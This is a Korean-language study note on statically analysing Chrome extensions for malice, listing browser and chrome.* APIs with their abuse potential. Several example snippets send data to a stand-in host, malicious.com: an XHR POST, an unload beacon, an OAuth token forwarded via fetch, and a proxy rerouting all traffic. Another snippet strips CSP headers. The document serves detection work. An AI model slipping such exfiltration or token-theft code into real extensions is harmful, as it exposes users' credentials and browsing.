Chrome Web Store에 등록되어 있어서 user에게 악성 행위를 할 가능성이 있는 익스텐션들을 정적 분석할 때 고려해야 할 점은 다음과 같다.
- 익스텐션이 웹 화면에서 어디서부터 어디까지 접근이 가능한가?
- 익스텐션 JS 함수 중, 웹의 내용을 얻어오는 함수를 리스팅한다.
- 웹에 어떤 정보에 접근하는가?
- 익스텐션이 얻은 컨텐츠를 어디에 보내는가? 혹은, 로컬에서 처리하는가?
- JS에서 어떤 함수들이 사용되는가(악용될 수 있는 함수의 존재 여부와 사용 방식)?
따라서, JS에서 함수를 살펴보며 리스팅하고 익스텐션에서 검출한 뒤, 그 행위를 유추한다. 우선 살펴볼 함수의 선정 기준은 아래와 같이 다양하게 떠올려 보았다.
- 우리가 보는 웹 컨텐츠에 굉장히 직접적으로 접근하는 함수
- 내부
HOST와 통신하는 함수 - 웹 브라우저 컨텐츠를 읽는 함수
- 쿠키 정보를 읽는 함수
악성의 가능성이 있는 함수를 리스팅하고, 함수가 실행될 때의 필요한 permission 까지 깊게 조사해보려한다. 그 후, 모델링을 통해 함수의 동작 원리를 추적/유추한다.
모델링의 예는 다음과 같다. 한 익스텐션은 사용자가 입력한 패스워드를 탈취하는 행위를 한다고 가정해보자.
이 행위의 동작 원리는 이러할 것이다:
1. 화면에 password 입력 박스를 선택한다.
2. password 정보를 copy한다.
3. copy한 정보를 포스트 메시지를 통해 외부 url로 보낸다.
아래 이미지는 위 과정처럼 함수의 행위를 리스팅 한 좋은 예시이다(출처: DVa; Extracting Victims and Abuse Vectors from Android Accessibility Malware).

이처럼 함수 리스팅을 통해 다양한 함수가 섞여 악성 트랜잭션을 만들어내는 과정을 모델링 하려고 한다.
대표적인 함수 카테고리는 4개로 구분 가능하다:
1. 파일시스템 접근
2. 네트워크 접근
3. 렌더링 관련
4. User Interaction(e.g. 좌우 클릭, 드래그, etc)
추가로, 각 익스텐션이 실행될 제약조건 또한 카테고리화하는 것도 고려한다. 예를 들어 웹 사이트의 status를 체크하여 특수한 환경에서 작동하는 익스텐션들의 제약 조건을 카테고리화한다면, 익스텐션이 악의적인 목적을 가지고 웹에 접근했을 때 그 익스텐션이 특정 조건에서만 실행되도록 설계되었는지 분석할 수 있다.
악성 익스텐션은 정상적인 환경에서는 활동을 숨기고, 특정 조건(e.g. 특정 도메인, 사용자 로그인 상태, 개발자 도구 비활성화 등)에서만 악성 행위를 수행할 수 있다. 이를 정적 분석을 통해 탐지하려면, 익스텐션이 실행될 제약 조건을 카테고리로 분류할 수 있다.
File system
File system API
1. Web File API (File, Blob, FileReader, FileSystem API)
→ 파일 내용을 조작하거나 사용자의 파일 정보 탈취 가능
2. IndexedDB API
→ 대량의 데이터를 저장하여 사용자 추적 가능
3. Storage API (LocalStorage, SessionStorage, Cookies)
→ 악성 코드가 사용자 데이터를 저장 및 탈취 가능
4. File System Access API (Chrome 전용, window.showOpenFilePicker 등)
→ 사용자의 로컬 파일을 읽거나 변조할 가능성이 있음.
5. Web Share API (navigator.share)
→ 피싱 링크나 중요 정보를 무단으로 공유하도록 유도 가능.
6. Clipboard API (navigator.clipboard.readText, writeText)
→ 사용자가 복사한 민감한 정보를 탈취하거나 변조 가능.
1. Web File API (File, Blob, FileReader, FileSystem API)
📌 브라우저에서 파일을 다루는 기능을 제공하는 API
(1) File API
input[type="file"]- 사용자가 파일을 선택하도록 유도
- 악용 가능성: 사용자가 선택한 파일을 악성 코드가 조작할 수 있음
file.name,file.type,file.size,file.lastModified- 파일의 이름, 유형, 크기, 마지막 수정 날짜를 가져옴
- 악용 가능성: 사용자의 파일 정보를 수집하여 프로파일링 가능
(2) Blob API
new Blob([data], { type: "text/plain" })- 메모리 내에서 파일 데이터를 생성
- 악용 가능성: Blob URL을 활용한 XSS 공격 가능
(3) FileReader API
FileReader.readAsText(file)- 파일을 문자열로 읽음
- 악용 가능성: 사용자가 업로드한 파일의 내용을 조작하여 악성 스크립트 실행 가능
FileReader.readAsDataURL(file)- DataURL = base64- 파일을 Base64 데이터로 변환
- 악용 가능성: 이미지, 동영상 등을 변조하여 피싱 페이지에 사용 가능
FileReader.readAsArrayBuffer(file)- 파일을 바이너리 데이터로 읽음
- 악용 가능성: 실행 가능한 바이너리 파일을 조작하여 악성 코드 실행 가능
(4) FileSystem API (비표준, 일부 브라우저 지원)
window.requestFileSystem()- 브라우저 내부의 파일 시스템을 관리
- 악용 가능성: 브라우저의 로컬 파일을 변조하여 악성 코드 저장 가능
fileEntry.createWriter()- 파일 쓰기 작업을 수행
- 악용 가능성: 공격자가 저장된 파일을 변조할 가능성이 있음
2. IndexedDB API (브라우저 내 데이터베이스 저장소)
📌 대용량 데이터를 클라이언트 측에서 저장할 수 있도록 지원하는 API
indexedDB.open("databaseName", version)- 데이터베이스를 생성 또는 열기
- 악용 가능성: 악성 확장이 사용자 데이터를 임의의 DB에 저장하여 추적 가능
indexedDB.transaction(["storeName"], "readwrite")- 데이터베이스에 읽기 및 쓰기 권한 부여
- 악용 가능성: 사용자가 인식하지 못하는 사이에 중요한 정보를 저장 가능
store.put(data, key)- 특정 키에 데이터를 저장
- 악용 가능성: 악성 확장이 저장된 데이터를 변조하여 실행 가능한 악성 코드 삽입 가능
3. Storage API (LocalStorage, SessionStorage, Cookies)
📌 웹 브라우저의 클라이언트 측 저장소를 활용하는 API
(1) LocalStorage API
localStorage.setItem("key", "value")- 브라우저에 영구적으로 데이터 저장
- 악용 가능성: XSS 공격을 통해 localStorage에 저장된 민감한 정보를 탈취 가능
localStorage.getItem("key")- 저장된 데이터 읽기
- 악용 가능성: 공격자가 document.domain을 변경하여 다른 사이트에서 저장된 데이터를 읽을 가능성
(2) SessionStorage API
sessionStorage.setItem("key", "value")- 세션이 유지되는 동안 데이터 저장
- 악용 가능성: 악성 코드가 실행되는 동안 사용자 세션 데이터를 조작 가능
sessionStorage.getItem("key")- 저장된 데이터 읽기
- 악용 가능성: 피싱 공격에서 세션 데이터를 가로채어 사용자의 계정을 탈취 가능
(3) Cookie API
document.cookie = "name=value; expires=Fri, 31 Dec 2023 23:59:59 GMT"- 클라이언트 측 쿠키 설정
- 악용 가능성: JavaScript에서 쿠키를 읽어 서버로 전송하는 공격 가능 (XSS 기반 세션 하이재킹)
document.cookie- 쿠키 데이터를 가져오기
- 악용 가능성: HttpOnly 속성이 없는 쿠키는 XSS 공격을 통해 탈취 가능
4. File System Access API (Chrome 전용, 로컬 파일 접근)
📌 사용자가 로컬 파일을 직접 읽고 수정할 수 있도록 지원하는 API
- 브라우저가 파일 시스템을 직접 제어할 수 있도록 하며, 악성 확장 프로그램이 이를 악용할 가능성이 있음.
(1) 파일 선택 및 읽기
window.showOpenFilePicker()- 사용자가 파일 선택 창을 통해 파일을 직접 선택
- 악용 가능성: 사용자가 무심코 중요한 파일을 선택하면, 악성 코드가 내용을 읽어 외부로 전송 가능
fileHandle.getFile()- 사용자가 선택한 파일을 읽을 수 있도록 함
- 악용 가능성: 사용자가 선택한 민감한 파일의 내용을 서버로 전송할 가능성이 있음
(2) 파일 저장 및 수정
window.showSaveFilePicker()- 사용자가 특정 파일을 저장할 수 있도록 파일 저장 창을 띄움
- 악용 가능성: 사용자가 저장한 파일에 악성 코드 삽입 가능
fileHandle.createWritable()- 파일을 수정 가능한 상태로 열어 줌
- 악용 가능성: 정상적인 문서를 변조하여 악성 실행 파일로 변경할 수 있음
writable.write(data)- 파일에 데이터를 쓰는 기능
- 악용 가능성: 기존의 정상적인 파일을 악성 파일로 덮어쓰기 가능
writable.close()- 파일 쓰기 작업을 완료하고 닫음
- 악용 가능성: 사용자가 인식하지 못하는 사이에 악성 데이터가 저장될 가능성 있음
발생할 수 있는 보안 취약점
- 사용자가 실수로 중요한 파일을 열면 공격자가 내용을 읽을 가능성이 있음.
- 악성 확장이 정상 파일을 변조하여 악성 파일로 만들 수 있음.
- 파일 저장 시 악성 코드가 자동 실행되도록 조작 가능.
5. Web Share API (웹 페이지에서 직접 공유 기능 제공)
📌 사용자가 브라우저에서 직접 데이터를 공유할 수 있도록 하는 API
- 웹 사이트가 로컬 장치의 공유 기능을 호출하여 특정 데이터를 공유할 수 있음.
(1) 공유 기능 실행
navigator.share({ title, text, url })- 웹 페이지에서 OS의 공유 기능을 호출하여 사용자가 특정 데이터를 공유하도록 유도
- 악용 가능성: 사용자가 클릭하면 피싱 사이트나 악성 파일을 공유하도록 유도 가능
navigator.canShare(data)- 공유할 데이터가 지원되는지 확인
- 악용 가능성: 공격자가 사용자의 공유 기능을 조작하여 중요한 데이터를 다른 애플리케이션으로 보내게 유도 가능
발생할 수 있는 보안 취약점
- 사용자가 원치 않는 사이트로 데이터를 공유하게 유도 가능.
- 피싱 링크를 공유하게 만들어 사용자를 속일 수 있음.
- 중요 정보를 공유하는 과정에서 무단 데이터 유출 가능.
6. Clipboard API (클립보드 접근 및 조작)
📌 웹 페이지에서 사용자의 클립보드 내용을 읽고 수정할 수 있도록 하는 API
- 악성 확장 프로그램이 사용자의 클립보드 데이터를 조작할 가능성이 있음.
(1) 클립보드 읽기
navigator.clipboard.readText()- 사용자가 복사한 텍스트를 읽어 옴
- 악용 가능성: 사용자가 복사한 비밀번호, 신용카드 번호 등의 민감한 데이터를 탈취 가능
navigator.clipboard.read()- 클립보드에 저장된 이미지, 파일 등을 읽을 수 있음
- 악용 가능성: 사용자가 복사한 민감한 이미지나 파일을 악용 가능
(2) 클립보드 쓰기
navigator.clipboard.writeText("Hello, World!")- 클립보드에 특정 텍스트를 저장
- 악용 가능성: 사용자가 URL을 복사할 때, 피싱 사이트 링크로 변경 가능
navigator.clipboard.write(data)- 텍스트뿐만 아니라 이미지, 파일도 클립보드에 저장 가능
- 악용 가능성: 정상적인 데이터 대신 악성 코드가 포함된 파일을 삽입 가능
발생할 수 있는 보안 취약점
- 사용자가 복사한 비밀번호, 신용카드 정보를 탈취할 가능성 존재.
- 복사한 정상적인 URL을 피싱 사이트 링크로 변조 가능.
- 클립보드 데이터를 지속적으로 모니터링하여 사용자의 행동을 추적 가능.
Network
Network API
-
Fetch API (기본적인 HTTP 요청 및 악용 가능성)
→ 사용자 데이터를 외부 서버로 전송하거나 응답을 변조 가능.
-
XMLHttpRequest API (구형 네트워크 요청 API, 여전히 악용 가능) → 구형 API라 보안성이 낮고, 공격자가 악용하여 데이터를 탈취 가능.
-
WebSockets API (실시간 데이터 전송, 사용자 정보 유출 가능)
→ 실시간 데이터 전송을 악용하여 지속적으로 사용자 정보를 유출 가능.
-
Beacon API (페이지 종료 시 데이터 전송)
→ 사용자가 페이지를 떠날 때 개인정보를 무단으로 외부로 전송 가능.
-
WebRTC API (P2P 네트워크, IP 주소 유출 가능)
→ P2P 연결을 통해 사용자의 실제 IP 주소를 유출할 가능성 있음.
-
Chrome.webRequest API (네트워크 트래픽 가로채기 및 변조 가능)
→ 브라우저 트래픽을 감시하고 변조하여 보안 정책을 우회 가능.
-
Chrome.identity API (OAuth 인증 및 악용 가능성)
→ OAuth 토큰을 탈취하여 사용자의 Google 계정에 무단 접근 가능.
-
Chrome.proxy API (프록시 변경을 통한 악성 트래픽 유도 가능)
→ MITM 공격을 통해 트래픽을 감청하거나 피싱 사이트로 유도 가능.
-
Chrome.dns API (DNS 요청 감지 및 스푸핑 가능)
→ DNS 요청을 감시하여 사용자의 웹사이트 접속을 추적하고, 피싱 공격에 활용 가능.
1. Fetch API (웹 표준 HTTP 요청 API)
📌 브라우저에서 HTTP 요청을 보내고 응답을 받을 수 있도록 하는 API
- 최신 웹 애플리케이션에서 가장 많이 사용됨.
- 확장 프로그램이 이를 이용해 사용자 데이터를 외부로 전송할 가능성이 있음.
(1) HTTP 요청 보내기
fetch(url, options)- 기본적인 HTTP 요청을 수행
- 악용 가능성: 민감한 사용자 데이터를 공격자의 서버로 전송 가능
fetch("<https://example.com/api>", { method: "POST", body: JSON.stringify(data) })- JSON 데이터를 서버로 전송하는 방식
- 악용 가능성: 사용자의 로그인 세션을 하이재킹하여 무단 액세스 가능
(2) 응답 처리 및 데이터 조작
response.json()- 서버에서 받은 JSON 데이터를 처리
- 악용 가능성: 중간자 공격(Man-in-the-Middle, MITM)을 통해 데이터를 변조할 수 있음
response.text()- 응답을 일반 텍스트로 변환
- 악용 가능성: 악성 확장이 사용자 정보를 텍스트로 전송 가능
발생할 수 있는 보안 취약점
- 사용자가 인식하지 못하는 사이에 민감한 데이터를 외부 서버로 전송 가능.
- 공격자가 API 응답을 변조하여 악성 스크립트를 실행 가능.
- 인증 정보가 포함된 요청을 가로채어 세션 하이재킹 가능.
2. XMLHttpRequest API (구형 네트워크 요청 API)
📌 JavaScript에서 HTTP 요청을 처리할 수 있는 구형 API
- Fetch API 등장 이후 사용량이 줄었지만, 여전히 악성 코드에서 사용됨.
(1) HTTP 요청 보내기
var xhr = new XMLHttpRequest(); xhr.open("GET", "<https://example.com>", true); xhr.send();- 비동기 HTTP 요청을 수행
- 악용 가능성: 공격자가 특정 웹사이트에서 민감한 데이터를 요청하고 가로챌 수 있음
xhr.open("POST", "<https://malicious.com>", true); xhr.send(data);- POST 요청을 통해 데이터 전송
- 악용 가능성: 사용자의 로그인 정보나 쿠키를 외부 서버로 유출 가능
(2) 응답 처리 및 변조 가능성
xhr.onreadystatechange = function() { if (xhr.readyState == 4) { console.log(xhr.responseText); } }- 서버 응답을 받아서 처리 (readyState = 4 → Data Receive Completed)
- 악용 가능성: MITM 공격(Man-in-the-middle, 중간에서 데이터 훔침)을 통해 응답을 변조 가능
발생할 수 있는 보안 취약점
- 구형 API라서 보안 검토 없이 사용하면 XSS 공격 등에 취약.
- 중간자 공격으로 응답이 변조될 가능성이 높음.
- 악성 확장이 이를 활용하여 사용자 데이터를 외부로 전송할 가능성 있음.
3. WebSockets API (양방향 실시간 통신 API)
📌 웹 애플리케이션과 서버 간에 양방향 통신을 가능하게 하는 API
- 네트워크 연결을 지속적으로 유지할 수 있어 실시간 데이터 전송에 사용됨.
- 악성 확장이 이를 이용하여 지속적으로 데이터를 전송하거나 감시할 가능성이 있음.
(1) WebSocket 연결 생성
const socket = new WebSocket("wss://example.com/socket")- 서버와 지속적인 양방향 통신을 위한 WebSocket 연결을 생성
- 악용 가능성: 악성 확장이 사용자 정보를 지속적으로 외부 서버로 송신 가능
(2) 서버와 메시지 교환
socket.onmessage = (event) => { console.log(event.data); }- 서버에서 받은 데이터를 처리
- 악용 가능성: 악성 코드가 실시간으로 사용자 정보를 수집하고 전송 가능
socket.send("message")- 서버로 데이터를 전송
- 악용 가능성: 사용자의 민감한 데이터(입력된 패스워드, 쿠키)를 서버로 전송 가능
(3) WebSocket 종료 및 우회 가능성
socket.close()- 연결 종료
- 악용 가능성: 보안 시스템이 WebSocket을 차단하면 악성 코드가 우회 방법을 찾을 가능성 있음
발생할 수 있는 보안 취약점
- 공격자가 WebSocket을 이용해 지속적으로 데이터를 외부로 유출할 가능성 존재.
- WebSocket 트래픽은 일반적인 HTTP 요청보다 감지하기 어려워 보안 솔루션을 우회할 가능성이 있음.
- 중간자 공격을 통해 서버와 클라이언트 간의 데이터를 변조할 가능성이 있음.
4. Beacon API (페이지 종료 시 데이터 전송)
📌 페이지가 닫히기 직전에 데이터를 서버로 전송하는 API
- 페이지가 닫히거나 사용자가 이동할 때 데이터를 백그라운드에서 전송하는 기능을 수행.
- 일반적으로 분석, 로그 전송 등에 사용되지만 악성 코드가 이를 활용할 가능성이 있음.
(1) 데이터 전송 방식
-
navigator.sendBeacon(url, data)- 페이지가 닫히기 직전에 지정된 URL로 데이터를 비동기 전송
- 악용 가능성: 사용자가 페이지를 떠날 때 자동으로 개인정보를 공격자 서버로 전송 가능
-
예제 코드
window.addEventListener("unload", function() {navigator.sendBeacon("<https://malicious.com/track>", JSON.stringify({ data: "user_info" }));}); -
사용자가 페이지를 떠날 때 자동으로 데이터를 공격자 서버에 전송
발생할 수 있는 보안 취약점
- 사용자가 인식하지 못한 상태에서 개인 정보가 탈취될 가능성이 있음.
- CSRF 공격(페이지 종료 시 자동 요청) 등에 악용될 가능성 존재.
- 보안 솔루션이 차단하기 어려운 방식이라 탐지하기 어려움.
5. WebRTC API (P2P 네트워크, IP 주소 유출 가능)
📌 WebRTC는 브라우저 간의 P2P 연결을 통해 오디오, 비디오, 데이터를 전송하는 API
- 네트워크 프록시를 우회하여 직접 클라이언트 간 연결을 맺음.
- 사용자의 로컬 IP 주소가 유출될 가능성이 있음.
(1) WebRTC 연결 생성
-
new RTCPeerConnection()- 브라우저 간 P2P 연결을 생성하는 객체
- 악용 가능성: 사용자의 실제 IP 주소를 노출하여 익명성을 깨뜨릴 가능성이 있음
-
예제 코드
const peerConnection = new RTCPeerConnection();peerConnection.createDataChannel("channel");peerConnection.createOffer().then(offer => peerConnection.setLocalDescription(offer)); -
WebRTC를 이용해 두 브라우저 간 직접 연결을 설정
(2) IP 주소 유출 가능성
-
peerConnection.onicecandidate = event => console.log(event.candidate);- 로컬 IP 주소가 WebRTC를 통해 공개될 수 있음.
- 악용 가능성: VPN을 사용해도 실제 IP 주소가 노출될 가능성이 있음.
-
event.candidate 값 예시
candidate:842163049 1 udp 1677729535 192.168.0.5 54321 typ host candidate:123456789 1 udp 100663295 203.0.113.25 45678 typ srflx candidate:987654321 1 udp 16777215 35.198.200.12 78901 typ relay
발생할 수 있는 보안 취약점
- 사용자의 로컬 IP 주소가 노출될 가능성이 있음 (WebRTC Leak).
- 중간자 공격자가 P2P 연결을 가로채서 민감한 데이터 탈취 가능.
- 익명성을 유지하고자 하는 사용자(예: Tor, VPN 사용자의 경우)에게 치명적일 수 있음.
6. Chrome.webRequest API (네트워크 트래픽 감지 및 변조 가능)
📌 Chrome 확장이 네트워크 요청을 감지하고 수정할 수 있는 API
- 웹사이트의 HTTP 요청 및 응답을 가로채어 변경할 수 있음.
- 정상적인 확장 프로그램은 광고 차단, 개인정보 보호 기능 등에 사용하지만, 악성 확장은 이를 악용할 가능성이 있음.
(1) 네트워크 요청 가로채기
-
chrome.webRequest.onBeforeRequest.addListener()- HTTP 요청이 전송되기 전에 가로채는 기능
- 악용 가능성: 사용자의 입력 데이터를 변조하거나 감시 가능
-
예제 코드
chrome.webRequest.onBeforeRequest.addListener(function(details) {console.log("Intercepted request: ", details.url);return { cancel: false };},{ urls: ["<all_urls>"] },["blocking"]); -
브라우저의 모든 네트워크 요청을 감시
-
이후의 Request 처리과정
(2) 응답 데이터 변조
-
chrome.webRequest.onHeadersReceived.addListener()- HTTP 응답 헤더를 변경하는 기능
- 악용 가능성: 보안 정책(Content Security Policy, CSP)을 무력화할 수 있음
-
예제 코드
chrome.webRequest.onHeadersReceived.addListener(function(details) {for (let header of details.responseHeaders) {if (header.name.toLowerCase() === "content-security-policy") {header.value = "";}}return { responseHeaders: details.responseHeaders };},{ urls: ["<all_urls>"] },["blocking", "responseHeaders"]); -
CSP 정책을 제거하여 악성 스크립트 실행 가능
발생할 수 있는 보안 취약점
- 사용자의 모든 네트워크 요청을 감시하고 조작 가능.
- CSP 헤더를 제거하여 XSS 공격 가능.
- HTTP 요청을 변조하여 악성 사이트로 리디렉트 가능.
7. Chrome.identity API (OAuth 인증 및 사용자 정보 접근)
📌 OAuth 인증을 통해 사용자의 Google 계정에 접근할 수 있도록 하는 API
- Chrome 확장 프로그램이 Google API에 접근하여 사용자의 계정 정보를 가져올 수 있음.
- 악성 확장이 이를 이용해 사용자의 민감한 데이터를 탈취할 가능성이 있음.
(1) OAuth 인증 요청
-
chrome.identity.getAuthToken({ interactive: true }, callback)- 사용자의 Google 계정에 접근할 OAuth 토큰을 요청
- 악용 가능성: 악성 확장이 OAuth 토큰을 가로채어 사용자의 Google 계정에 무단 접근 가능
-
예제 코드
chrome.identity.getAuthToken({ interactive: true }, function(token) {console.log("OAuth Token:", token);fetch("<https://malicious.com/api>", {method: "POST",headers: { Authorization: "Bearer " + token }});}); -
악성 확장이 사용자의 OAuth 토큰을 외부 서버로 전송 가능
(2) 사용자 정보 요청
chrome.identity.getProfileUserInfo(callback)- 현재 로그인한 사용자의 이메일 및 프로필 정보 요청
- 악용 가능성: 사용자의 이메일을 피싱 공격에 활용 가능
발생할 수 있는 보안 취약점
- 악성 확장이 OAuth 토큰을 탈취하여 사용자의 Google 계정에 무단 접근 가능.
- 사용자 이메일 및 프로필 정보를 이용한 피싱 공격 가능.
- OAuth 인증 요청을 위장하여 사용자를 속이고 권한을 부여하도록 유도 가능.
8. Chrome.proxy API (프록시 변경을 통한 트래픽 조작)
📌 브라우저의 프록시 설정을 변경하여 네트워크 트래픽을 조작하는 API
- 정상적인 확장은 VPN 및 보안 프록시 기능을 제공하지만, 악성 확장은 이를 이용하여 트래픽을 가로챌 가능성이 있음.
(1) 프록시 설정 변경
-
chrome.proxy.settings.set({ value: { mode: "fixed_servers", rules: { singleProxy: { host: "malicious.com", port: 8080 } } } })- 사용자의 모든 네트워크 트래픽을 특정 서버를 통해 우회하도록 설정
- 악용 가능성: 사용자의 브라우징 데이터를 중간자 공격(MITM) 방식으로 감청 가능
-
예제 코드
chrome.proxy.settings.set({value: {mode: "fixed_servers",rules: {singleProxy: {scheme: "http",host: "malicious.com",port: 8080}}}}); -
사용자의 네트워크 요청을 공격자의 서버를 통해 전달하여 감청 가능
(2) 프록시 설정 읽기
chrome.proxy.settings.get({}, callback)- 현재 브라우저의 프록시 설정을 가져옴
- 악용 가능성: 사용자의 네트워크 설정을 감시하고 특정 사이트에서만 악성 동작 수행 가능
발생할 수 있는 보안 취약점
- 악성 확장이 사용자의 트래픽을 가로채어 민감한 데이터를 탈취할 가능성 있음.
- 공격자가 MITM 공격을 수행하여 HTTPS 트래픽을 복호화할 가능성 존재.
- 특정 웹사이트 접속을 차단하거나 피싱 사이트로 리디렉트할 가능성 있음.
9. Chrome.dns API (DNS 요청 감지 및 스푸핑 가능)
📌 웹사이트의 DNS 정보를 조회하는 기능을 제공하는 API
- 특정 웹사이트의 IP 주소를 확인하여 접속을 우회하거나 차단하는 기능을 수행.
- 악성 확장이 이를 악용하여 DNS 스푸핑 공격을 수행할 가능성이 있음.
(1) DNS 조회 요청
-
chrome.dns.resolve("example.com", callback)- 특정 도메인의 IP 주소를 조회
- 악용 가능성: 사용자가 특정 도메인(예: 은행 사이트)에 접속했는지 감시 가능
-
예제 코드
chrome.dns.resolve("example.com", function(response) {console.log("Resolved IP:", response.address);}); -
사용자의 웹사이트 접속 여부를 추적할 가능성 있음
(2) DNS 트래픽 감시
chrome.webRequest.onBeforeRequest.addListener()- 악용 가능성: 사용자가 방문한 사이트 목록을 추적하여 스팸 공격 또는 피싱 공격에 활용 가능
발생할 수 있는 보안 취약점
- 악성 확장이 사용자의 DNS 요청을 감시하여 브라우징 습관을 추적 가능.
- 특정 웹사이트 접속을 감지하고 피싱 사이트로 리디렉트 가능.
- DNS 정보를 변경하여 사용자를 악성 서버로 유도 가능.
렌더링
DOM 조작 관련
document.createElement(tagName)
tagName에 해당하는 HTML 요소를 동적으로 생성한다.- 생성된 요소는 DOM에 추가되기 전까지 화면에 보이지 않는다.
document.appendChild(node)`
- 지정된 노드를 특정 부모 요소의 마지막 자식으로 추가한다.
- 기존의 다른 부모가 있으면 해당 부모에서 제거된 후 새 부모에 추가된다.
element.innerHTML
- 특정 요소의 HTML 내용을 문자열로 읽거나 설정하는 속성이다
- 기존 내용을 덮어쓰므로, 외부 입력 값을 삽입하는 경우, XSS 공격에 취약할 수 있다.
document.querySelector(selector)document.getElementById(id)
- CSS 선택자를 사용하여 첫 번째 일치하는 요소를 반환한다.
- ID 값을 기준으로 요소를 반환한다.
element.style.*
- 요소의 스타일을 변경하는 속성이다.
- Example:
style.backgroundColor = "red
Mutation.Observer()
- DOM 변경을 감지하는 API이다.
- 크롬 익스텐션에서 웹페이지 변경을 감지하고 자동으로 조치를 취하는 경우 사용된다.
Chrome Extension 및 브라우저 API
chrome.tabs.executeScript()
- 현재 활성화된 탭에서 특정 스크립트를 실행하는 API이다.
manifest.json에서tabs권한이 필요하다.- 악성 extension은 이를 이용해 원격 코드를 실행할 수 있다.
setTimeout()setInterval()
- 지정된 시간이 지나면 한 번만 실행한다.
- 지정된 간격마다 반복 실행한다.
- 악성 코드 실행을 지연하는 방법으로 활용될 수 있다.
canvas.getContext("2d")CanvasRenderingContext2D.drawImage()`
- HTML canvas 요소를 조작하는 API이다.
drawImage()는 이미지 렌더링에 사용된다.- canvas는 브라우저 핑거프린팅에 악용될 수 있다.
document.designMode = "on"
- 웹 페이지의 모든 콘텐츠를 직접 편집 가능하게 만드는 속성이다.
- 본래는 테스트 및 디버깅 용도로 사용하지만, 악성 확장 프로그램이 페이지 내용을 변경할 수 있다.
shadowRootattachShadow()
- Shadow DOM을 생성하여 요소를 격리된 DOM 트리로 관리한다.
- 악성 extension이 난독화된 UI를 삽입할 수 있다.
window.open()chrome.windows.create()chrome.tabs.create()
- 새 창, 새 브라우저 창, 새 탭을 연다.
- 광고성 팝업, 피싱 사이트로 redirection하는 extension에서 악용 가능하다.
chrome.notifications.create()
- Chrome extension에서 알림을 표시하는 API이다.
- 스팸 알림을 보내거나 피싱 링크를 포함할 수 있다.
User Interaction
이벤트 리스너 (User input listeners)
addEventListener("click", ...)addEventListener("keydown", ...)
- 클릭, 키 입력 등의 이벤트가 발생하면 지정된 함수를 실행한다.
- click 이벤트를 가르채서 피싱 버튼 클릭 유도 가능성 이 있다.
document.onmousemovedocument.onkeypressdocument.onkeydown
- 마우스 이동 감지, 키 입력 감지, 키보드 입력 감지
- 마우스 움직임 데이터를 기록하면 사용자 행동 추적 가능성 이 있다.
onkeypress를 사용하여 비밀번호 입력 감지 가능성 이 있다.
window.onbeforeunload
- 페이지 종료를 감지한다.
- 페이지를 떠날 때 데이터를 서버로 전송 하는지 확인할 필요가 있을 수도 있다.
클립보드 접근
navigator.clipboard.writeText()navigator.clipboard.readText()
- 클립보드에 텍스트를 복사한다.
- 클립보드에서 텍스트를 읽는다.
- 사용자가 복사한 내용(pw, 카드 번호)을 탈취할 가능성이 있다.
chrome.contextMenus.create()
- extension에서 브라우저 우클릭 메뉴를 변경할 수 있다.
- 악성 extenion이 우클릭 메뉴를 추가하여 피싱 페이지로 유도할 가능성 이 있다.
예약 작업 수행
chrome.alarms.create()
- 특정 시간 후에 지정된 작업을 실행하는 예약 기능이다.
- 악성 익스텐션이 Delayed Execution을 수행할 가능성이 있다.
chromenotifications.onClicked.addListener()
- 익스텐션이 생성한 알림을 클릭했을 때 이벤트를 발생시킨다.
- 스팸 알림을 통한 악성 사이트 유도 가능성이 있다.
chrome.permissions.request()
- 익스텐션이 특정 권한을 요청할 수 있다.
- 민감한 권한 요청 여부를 확인한다.
- 정상적인 익스텐션 → 초기 설치 시 필요한 권한을 한 번에 요청한다.
chrome.tabs.onActivated.addListener()
- 사용자가 활성화한 탭 변경을 감지한다.
- 특정 웹사이트에서만 실행되는 익스텐션인지 확인한다.
Open Authorization
chrome.identity.getAuthToken()
- OAuth 인증을 통해 Google API에 접근한다.
- 사용자가 로그인을 하면 OAuth 토큰을 발급받아 특정 Google 서비스에 접근할 수 있다.
manifest.json에서identity또는identity.email권한이 필요하다.
팝업 메시지
window.alerrt()window.confirm()window.prompt()
- 단순 메시지, 확인/취소 버튼이 있는 다이얼 로그, 입력을 받을 수 있는 다이얼 로그.
- 가짜 보안 경고창을 표시할 수 있다.